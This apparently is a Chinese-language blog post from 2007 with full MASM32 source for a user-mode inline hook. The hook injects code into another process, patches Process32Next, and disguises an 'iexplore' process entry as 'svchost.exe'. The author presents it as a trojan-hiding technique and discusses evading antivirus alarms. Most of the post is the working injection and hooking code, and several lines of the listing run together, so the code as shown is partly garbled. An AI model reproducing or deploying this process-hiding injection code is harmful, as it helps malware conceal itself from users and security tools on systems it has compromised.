應用層InLine Hook
我的思路:
1.得到本進程中包含被掛接API的DLL的基地址,該DLL代碼節的虛擬偏移以及該API的入口地址.API入口地址-(代碼節虛擬偏移+DLL基地址)=函數入口相對于代碼節的偏移
2.得到目標進程的PID,以及目標進程包含被掛接API的DLL的基地址(注意一般來說和前面自身進程的值相同)前面得到的函數入口偏移+DLL基地址+代碼節虛擬偏移=目標進程API函數入口地址
3.打開目標進程讀目標進程API函數入口處128字節代碼到自身進程的變量中.然后調用z0mbie寫的LDE32庫取該API函數入口處幾個指令的長度當長度>=5時保存該長度(這樣防止后面取指令沒有對齊)
4.為我們的假函數在目標進程加載的DLL中分配空間(我是把代碼寫在PE頭的后面)這兒要改該內存的屬性為讀寫執行(PAGE_EXECUTE_READWRITE).為了方便編譯我們的假函數是寫在代碼段中的,在運行時要把這些代碼移到數據段,然后把第3步取出的指令放在數據段中相應的偏移處.同時還要在數據段中設置跳回真實函數的JMP指令.
5.把真正的API開頭的指令改為JMP到我們的假函數中.
1.在假函數中如何調用其它的API函數,以及如何方便的引用全局,局部變量
2.如何防止重復HOOK.
3.假函數寫在目標DLL的哪兒比較適合.
看了網上不少公開的文章后寫了這些代碼,個人感覺應用層INLINE HOOK對于木馬隱藏來說不是很有必要.因為WIN 2K及以后系統的COPY ON WRITE機制,導致象我這樣的HOOK并不是全局的,要實現全局的要不是舉例進程每個進程都這樣處理一次,要不就是要安裝全局鉤子但一般這個操作都要引起殺毒軟件的報警.另外如果上面第一種辦法對于新啟動的進程你還得不停的舉例以便于找出新啟動的進程哩.有些人說在驅動下可以有一個通知API,但這樣的話還不如直接在驅動下HOOK SSDT或是驅動的INLINE HOOK了.
comment %
#--------------------------------------# #
# UserLand InLine Hook --> # #
# -->Hook Process32Next(only a Demo) # #
# 2007.03.10 #
# codz: czy # #
#------------------------------------------# #
system :test on XPSP2cn
%
.586
.model flat,stdcall
option casemap:none
include ../include/windows.inc
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/shell32.inc
includelib ../lib/shell32.lib
.data
kernel32 db 'kernel32.dll',0
P32First db 'Process32Next',0
inline db 'Hook Process32Next Hide Process:)',0
sztext db '.text ',0
VirtualAddress dd 0
JMPCODE db 0E9h,010h,10H,10H,10H,0
JMPCODE2 db 0E9h,010h,10H,10H,10H,0
HookFunBuf db 256 dup (?)
.code
_ProcessPeFile proc _lpPeHead
local @szBuffer[1024]:byte,@szSectionName[16]:byte
mov esi,_lpPeHead
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
mov edi,esi
assume edi:ptr IMAGE_NT_HEADERS movzx ecx,[edi].FileHeader.NumberOfSections
add edi,sizeof IMAGE_NT_HEADERS
assume edi:ptr IMAGE_SECTION_HEADER
.repeat
push ecx invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
push esi
push edi
mov ecx,8
mov esi,edi
lea edi,@szSectionName
cld
@@:
lodsb
.if ! al
mov al,' '
.endif
stosb
loop @B
pop edi
pop esi invoke lstrcmpi,offset sztext,addr @szSectionName
.if eax == 0
push [edi].VirtualAddress
pop eax
ret
.else
add edi,sizeof IMAGE_SECTION_HEADER
.endif pop ecx
.untilcxz
assume edi:nothing
ret
_ProcessPeFile endpGetShell32Base proc uses ebx esi edi remoteproid
LOCAL hSnapshot:dword
LOCAL modinfo:MODULEENTRY32
LOCAL modname[256]:byte
mov modinfo.dwSize,sizeof MODULEENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
mov hSnapshot,eax
invoke Module32First,hSnapshot,addr modinfo
.while eax
lea ecx,modinfo.szModule
invoke lstrcmpi,offset kernel32,ecx
.if eax == 0
mov eax,modinfo.modBaseAddr
ret
.endif
invoke Module32Next,hSnapshot,addr modinfo
.endw
invoke CloseHandle,hSnapshot
ret
GetShell32Base endp
InlineHook proc
LOCAL hProcess:dword
LOCAL hKernel32:dword
LOCAL hAPI:dword
LOCAL PID:dword
LOCAL ModBase:dword
LOCAL OLDpro:dword
LOCAL CodeBuf[128]:byte
LOCAL optable[2048]:byte
LOCAL codelen:dword
LOCAL APIoffset:dword
LOCAL hAPI2:dword
LOCAL pHookFun:dword
LOCAL hooklen1:dword
LOCAL hookfunlen:dword
lea eax,optable
push eax
call disasm_init
invoke LoadLibrary,offset kernel32 mov hKernel32,eax
invoke _ProcessPeFile,hKernel32 mov VirtualAddress,eax invoke GetProcAddress,hKernel32,offset P32First mov hAPI,eax
mov eax,hKernel32
add eax,VirtualAddress mov ecx,hAPI
sub ecx,eax mov APIoffset,ecx
invoke GetCurrentProcessId
mov PID,eax
mov eax,9504
mov PID,eax
invoke GetShell32Base,eax
mov ModBase,eax add eax,VirtualAddress add eax,APIoffset mov hAPI2,eax
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID
mov hProcess,eax
invoke ReadProcessMemory,hProcess,hAPI2,addr CodeBuf,128,0
lea esi,CodeBuf
xor edi,edi
@@nextcode:
push esi
lea eax,optable
push eax
call disasm_main
.if eax !=-1
add edi,eax
.if edi>=5
mov codelen,edi jmp @@findok
.else
add esi,eax
jmp @@nextcode
.endif
.else
xor eax,eax
ret
.endif
@@findok: mov eax,ModBase
add eax,VirtualAddress
sub eax,512
mov pHookFun,eax
invoke VirtualProtectEx,hProcess,pHookFun,512,PAGE_EXECUTE_READWRITE,addr OLDpro mov ecx,@@hookbeg
mov eax,@@fakeret
sub eax,ecx
mov hooklen1,eax mov ecx,@@hookbeg
mov eax,@@hookfunend
sub eax,ecx
mov hookfunlen,eax mov eax,@@hookbeg
invoke RtlMoveMemory,offset HookFunBuf,eax,hookfunlen invoke WriteProcessMemory,hProcess,pHookFun,offset HookFunBuf,hooklen1,0 mov ecx,pHookFun
add ecx,hooklen1
sub ecx,21
invoke WriteProcessMemory,hProcess,ecx,addr CodeBuf,codelen,0 mov ecx,pHookFun
add ecx,hooklen1
mov edx,ecx
sub ecx,5 mov eax,hAPI2
sub eax,edx
add eax,codelen
mov edx,offset JMPCODE2
inc edx
mov [edx],eax
invoke WriteProcessMemory,hProcess,ecx,offset JMPCODE2,5,0 mov ecx,pHookFun
add ecx,hooklen1
mov eax,offset HookFunBuf
add eax,hooklen1
mov edx,hookfunlen
sub edx,hooklen1
invoke WriteProcessMemory,hProcess,ecx,eax,edx,0 mov eax,pHookFun
sub eax,hAPI2
sub eax,5
mov ecx,offset JMPCODE
inc ecx
mov [ecx],eax
invoke VirtualProtectEx,hProcess,hAPI2,codelen,PAGE_READWRITE,addr OLDpro
invoke WriteProcessMemory,hProcess,hAPI2,offset JMPCODE,5,0
invoke VirtualProtectEx,hProcess,hAPI2,codelen,OLDpro,addr OLDpro
invoke CloseHandle,hProcess
invoke MessageBox,0,offset inline,offset inline,1
ret
InlineHook endp
@@hookbeg:
push [esp+8]push [esp+8]jmp @@fakeret
@@setret:
somenop1 db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90hsomenop2 db 90h,90h,90h,90h,90h@@fakeret:
call @@setretsub esp,8
pushad
mov edx,[esp+4+32];原函數倒數第2個參數,進程信息結構的地址
.if eax != ERROR_NO_MORE_FILES
add edx,36
mov eax,[edx]
mov ecx,[edx+4]
.if (eax == 'pxei')&&( ecx == 'erol') mov eax,'hcvs'
mov [edx],eax
mov eax,'.tso'
mov [edx+4],eax
mov eax,' exe'
mov [edx+8],eax
.endif
.endif
popad
add esp,8ret 8@@hookfunend:
start:
invoke MessageBoxA,0,offset inline,offset inline,1
invoke InlineHook
invoke ExitProcess,0
include \masm32\include\lde32bin.inc
end start
目前我這個思路只用寫一次被HOOK的函數就OK了.下面點評一下網上公開的一些方法:
1.有些方法寫被HOOK的函數次數為(N*2)+1次,N為調用次數,會遇到多線程的問題,不穩定.
2.有些方法也只用寫一次,不過要保存和替換返回地址.替換好計算,但保存是個問題?保存在哪兒哩
棧頭不穩定,代碼段同樣有多線程的問題.
3.還有些方法沒用反匯編引擎計算被JMP替換的指令長度,也許會有指令沒對齊的問題.